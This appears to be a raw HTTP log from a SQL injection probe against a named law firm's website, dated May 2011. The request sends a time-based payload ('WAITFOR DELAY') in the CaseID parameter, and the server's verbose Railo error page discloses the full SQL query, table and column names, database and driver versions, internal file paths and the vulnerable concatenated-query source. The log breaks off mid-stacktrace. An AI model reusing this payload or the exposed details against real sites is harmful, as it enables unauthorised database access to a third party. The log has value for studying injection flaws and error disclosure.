GET /cases.html?action=caseDetail&CaseID=1;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate
HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:51:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22591
Content-Type: text/html; charset=UTF-8
<!-- Railo [3.2.2.000] Error -->
<script>
var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';
function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Line 2: Incorrect syntax near '0'.</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = '1;WAITFOR DELAY '0:0:25'--' <br /> </td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />
<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>
<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />
<blockquote style="font-size : 10;" id="__cp1">
249: <cfelse><br>250: <cfquery name="RecordSet" datasource="#variables.Datasource#"><br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: </cfquery><br>253: </cfif><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = "SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# ";<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: </cfscript><br>370: <cfreturn Recordset><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName & "DAO"].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = "";<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: </cfscript><br>198: <cfreturn Object><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate("#MethodName#(argumentCollection=ArgumentStruct)");</b><br>170: }<br>171: Else<br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: </cfscript><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate("#Properties["Type"]#(ArgumentCollection=Properties)");</b><br>206: </cfscript><br>207: <cfreturn Response><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get("DefaultAction");<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: </cfscript><br>396: <cfreturn Response><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature & "Feature"].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>
<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = "home";<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: </cfscript><br><br />
</blockquote>
<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>
<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: <cfset Page.FilePath = 'cases'><cfinclude template='/lightbase2/framework/index.cfm'></b><br><br />
</blockquote>
</td>
</tr>
<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Line 2: Incorrect syntax near '0'.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc:169):169
at framework.base.baseobject_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at rail..
